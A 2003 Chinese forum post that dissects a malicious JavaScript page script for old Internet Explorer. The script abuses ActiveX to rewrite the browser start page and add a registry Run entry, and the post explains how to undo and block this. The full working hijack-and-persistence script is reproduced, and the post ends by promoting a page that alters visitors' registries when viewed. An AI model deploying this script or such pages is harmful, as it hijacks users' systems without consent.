|
論壇說明 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2003-05-04, 02:32 AM | #1 |
榮譽會員
|
解剖惡意網站代碼:彈出IE頁面
許多網友紛紛指出有的網站不擇手段,當用戶訪問過它們的網頁後,不僅IE預設首頁被篡改了,而且每次開機後IE都會自動彈出訪問該網站。
``我們通過對下面這段JavaScript程序的解剖,希望讀者能明白其究竟,並掌握修復的方法。網站應該用豐富精彩的欄目來吸引訪問者,希望通過對用戶註冊表的惡意篡改來達到提高訪問量的目的不僅會事得其反,更是一種不道德的行為。 ``本代碼由子昂軒編輯製作,僅供學習研究之用。 `` <!-- Begin set start page brought to u by JavaHouse.126.com--> <SCRIPT language=JavaScript> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function f(){ try { //ActiveX啟始化過程(為達到修改用戶註冊表所必須的準備程序) a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (document.cookie.indexOf("Chg") == -1) //以下是檢測用戶註冊表並修改相應的鍵值 { Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://JavaHouse.126.com/");//修改用戶InternetExplorer瀏覽器的預設主頁 Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "http://JavaHouse.126.com/");//建立預設啟動頁面程序,保證用戶每次啟動電腦首先開啟該頁面 var expdate = new Date((new Date()).getTime() + (1)); document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 1000);//實現開啟頁面後1秒鐘內執行測試修改註冊表的工作 } init();</SCRIPT> <!--End set start page --> 首先,我們來分析一下這句代碼,程序中使用: `` Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://JavaHouse.126.com/");//修改用戶InternetExplorer瀏覽器的預設主頁 ``其實就是修改用戶註冊表中 `` HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorermain資料夾下Start Page的鍵值, ``這裡面的值就是存放的IE瀏覽器的預設主頁,如果你想改回來,把上面的相應代碼改為: `` Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "about :blank"); ``就可以實現開啟IE是空白頁了;當然你也不用動註冊表,直接開啟IE修改Internet選項中的主頁更方便些。 ``再來看看上述程序最卑鄙的一句代碼: `` Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "http://JavaHouse.126.com/");//建立預設啟動頁面程序,保證用戶每次啟動電腦首先開啟該頁面 ``通過在註冊表中 `` HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun ``資料夾下建立Windows預設啟動程序,當Windows啟動後,我們會發現這個網頁會自動開啟,但是在「開始」-「程序」-「啟動」中卻找不到,這是為什麼呢?哦,原來都放到R un這個資料夾下面了。怎麼來修改呢?兩種方法,一是搜尋源頭,進入註冊表,刪除Run下面的相應項就可以了;二是在「開始」-「執行」處輸入" msconfig",把啟動下面相應的那個網站前面的"√"去掉,重新啟動電腦就可以了。 ``避免此類惡意修改註冊表的再次發生,你可以在IE的安全屬性設置中禁掉ActiveX,當然在以後的網頁瀏覽過程中可能會造成一些正常使用A ctiveX的網站無法瀏覽。還有一種辦法就是對於Windows98開啟C:WINDOWSJAVAPackagesCVLV1NBB.ZIP,把ActiveXComponent.class刪掉;對於W indowsMe開啟C:WINDOWSJAVAPackages5NZVFPF1.ZIP,把ActiveXComponent.class刪掉。放心,刪除這個組件不會影響你正常瀏覽網頁的。 ``最後說說在首頁使用這類代碼的網站的目的,像在啟動電腦直接開啟網頁的做法我認為主要是針對寬帶和專線上網的用戶,這樣只要你不修改註冊表禁掉它,你的I E主頁每次進入系統都會自動被修改成那個網站;對於撥號上網的用戶每次進入系統都開一個找不到的主頁,也無所謂,至少你不改註冊表,直接修改I E主頁屬性後可以避免被那種網站再次修改(前提是不再進去那個網站),可是每次開機後都彈出個網頁也真是讓人討厭。 ``以上代碼適用於Windows9x/Me,InternetExplorer5.X瀏覽器,據說對IE6.0無效(因為它裡面沒有ActiveXComponent.class這個組件),但作者沒有測試過。 ===================================== 惡意程式碼免役 相信每個上網者都有過被惡意程式碼修改過註冊表的經歷吧,恢復好了以後你會採取措施來保護你的註冊表不再被修改呢 1.制作備份註冊表文件 2.用軟體免疫 3.禁用js 顯然這些方法都不怎麼理想,其實有一招簡單的方法是可以永遠免疫的,就是在註冊表中刪除惡意程式碼會用到的一個id就可以了,那就是F935DC22-1CF0-11D0-ADB9-00C04FD58A0B,只要把它刪了,那你以後碰到惡意程式碼,就再也不用擔心註冊表會再被修改了,它再註冊表裡面的路徑是HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},找到後把整個項刪掉就可以了,這個項刪掉不會對系統有任何影響,請放心刪除. 這裡再介紹幾個對系統安全有隱患的ID HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228},網頁程式碼可以利用他在硬碟裡面產生文件 HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},可以產生指令格式,比如格式化硬碟,執行任何程序. HKEY_CLASSES_ROOT\CLSID\{B83FC273-3522-4CC6-92EC-75CC86678DA4},這個好像是3721中文網址的,我發現很多朋友都覺得3721很霸道,刪了就不用管它了 如果不知道怎麼刪或者嫌麻煩,可以來我的主頁http://www.J3J4.com,看一張網頁就幫你刪了,原理是一樣的. |
送花文章: 3,
|